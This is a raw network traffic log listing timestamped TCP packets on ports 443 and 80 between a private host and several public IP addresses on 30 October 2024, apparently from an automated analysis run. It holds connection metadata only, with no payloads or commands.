Oct 30, 2024 16:25:33.360344887 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:33.360424995 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:33.360585928 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:33.399868965 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:34.153538942 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:34.153568983 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:34.153934002 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:34.153989077 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:34.154068947 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:34.154438019 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:34.154453039 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.093887091 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.094233036 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.094248056 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.094585896 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.094965935 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.095046043 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.095130920 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.095201969 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.095232964 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.095324039 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.095352888 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.423954010 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.424081087 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.424113989 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.424148083 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.424205065 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.424212933 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.424212933 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.424251080 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.425204992 CET	49730	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:35.425220966 CET	443	49730	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:35.427860975 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:35.427902937 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:35.428034067 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:35.428263903 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:35.428276062 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:35.435172081 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.435213089 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:35.435365915 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.435370922 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.435405016 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:35.435746908 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.435759068 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:35.435775042 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.436224937 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:35.436240911 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:35.739078045 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:35.801855087 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:35.985662937 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:35.985779047 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:35.987492085 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:35.987514019 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:35.987768888 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:35.988939047 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:36.031336069 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:36.034137011 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.034439087 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.034475088 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.035541058 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.035615921 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.035990953 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036019087 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036056042 CET	443	49732	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.036086082 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036113024 CET	49732	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036448002 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036483049 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.036581993 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036765099 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.036781073 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.040853024 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:36.066634893 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.066986084 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:36.067020893 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.067392111 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.067866087 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:36.067946911 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.068046093 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:36.073457003 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.073707104 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.073729992 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.074711084 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.074774981 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075066090 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075078011 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075118065 CET	443	49733	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.075124025 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075192928 CET	49733	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075418949 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075453997 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.075524092 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075715065 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.075735092 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.115339041 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.231964111 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:36.232039928 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:36.232093096 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:36.233627081 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:36.233655930 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:36.233664036 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:36.233669996 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:36.251095057 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.251178980 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.251228094 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:36.251882076 CET	49731	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:36.251905918 CET	443	49731	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:36.641311884 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.641617060 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.641642094 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.641836882 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:36.642740965 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.642817974 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.643193960 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.643264055 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.643382072 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.643389940 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.643419027 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.687902927 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.688189030 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.688227892 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.689208984 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.689273119 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.689564943 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.689611912 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.689846039 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.689863920 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.737860918 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:36.737891912 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:36.785860062 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.367907047 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.367952108 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.367980003 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368006945 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368026972 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.368031979 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368057966 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368072033 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.368141890 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.368148088 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368160963 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.368197918 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.369162083 CET	49734	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:37.369178057 CET	443	49734	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:37.388073921 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:37.388106108 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:37.388187885 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:37.388427973 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:37.388442039 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:37.853873014 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:38.001125097 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.001441002 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.001471043 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.002599955 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.002667904 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.007026911 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.007105112 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.007222891 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.007230997 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.056853056 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.100996971 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.101111889 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.104249001 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.104262114 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.104526043 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.146079063 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146138906 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146181107 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146235943 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.146245003 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146259069 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146298885 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.146300077 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.146343946 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.146353960 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.147277117 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.147346020 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.147351027 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.151880980 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.173907042 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.199841976 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.199870110 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.219331980 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.248753071 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.263658047 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263760090 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263827085 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263863087 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263873100 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.263902903 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263917923 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.263947010 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.263988972 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.263995886 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264647007 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264683962 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264715910 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264715910 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.264725924 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264759064 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.264765024 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.264935970 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.264942884 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.265876055 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.265934944 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.265940905 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.265991926 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.266021967 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.266052008 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.266056061 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.266061068 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.266089916 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.266823053 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.267270088 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.267277002 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.311851025 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.381189108 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381268978 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381299019 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381407976 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.381441116 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381576061 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381635904 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.381642103 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381722927 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.381769896 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.381983042 CET	49736	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.381999016 CET	443	49736	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.394864082 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.394918919 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.394980907 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.395212889 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:38.395231009 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:38.439353943 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439424992 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439445019 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439483881 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439502954 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439522028 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439533949 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439551115 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439558029 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439570904 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439590931 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439745903 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439939976 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.439969063 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.439986944 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.460202932 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.460252047 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.460269928 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:38.460278034 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:38.629497051 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:38.629561901 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:38.629769087 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:38.630095005 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:38.630114079 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.003220081 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.003520966 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.003547907 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.004587889 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.004668951 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.005748987 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.005820990 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.005964041 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.005973101 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.046895027 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.144531012 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.144691944 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.144800901 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.144807100 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.144834042 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.144876957 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.144902945 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.145086050 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.145143986 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.145149946 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.145354033 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.145412922 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.145416975 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.190916061 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.190951109 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.237502098 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.238092899 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.238121033 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.238854885 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.239141941 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.239206076 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.239681959 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.239752054 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.239770889 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.239839077 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.239857912 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.239859104 CET	443	49738	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.239979029 CET	49738	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.240197897 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.240242958 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.240314007 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.240560055 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.240586042 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.261881113 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262139082 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262192011 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.262224913 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262329102 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262417078 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262423038 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.262444973 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.262487888 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.262531996 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263098001 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263169050 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.263181925 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263264894 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263331890 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.263338089 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263945103 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.263991117 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.263998985 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264131069 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264183998 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.264189005 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264297009 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264451027 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.264456987 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264918089 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.264977932 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.264983892 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.265078068 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.265243053 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.265248060 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.317868948 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.402853966 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.402918100 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.402976036 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.403007984 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.403033972 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.403053045 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.403073072 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.403168917 CET	443	49737	104.17.24.14	192.168.2.16
